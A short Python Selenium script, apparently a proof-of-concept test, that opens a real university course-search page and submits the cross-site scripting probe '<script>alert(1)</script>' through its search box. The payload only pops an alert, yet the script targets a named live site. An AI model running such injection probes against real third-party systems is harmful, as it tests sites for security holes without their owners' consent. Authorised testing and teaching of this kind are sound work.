seleniumxss.py

#!/usr/bin/python
from selenium import webdriver
from selenium.webdriver.common.keys import Keys

browser = webdriver.Firefox()

browser.get("https://ole.unibz.it/course/search.php?")

searchbar = browser.find_element_by_name("search")  # Find the search box
searchbar.send_keys("<script>alert(1)</script>" + Keys.RETURN)

browser.close()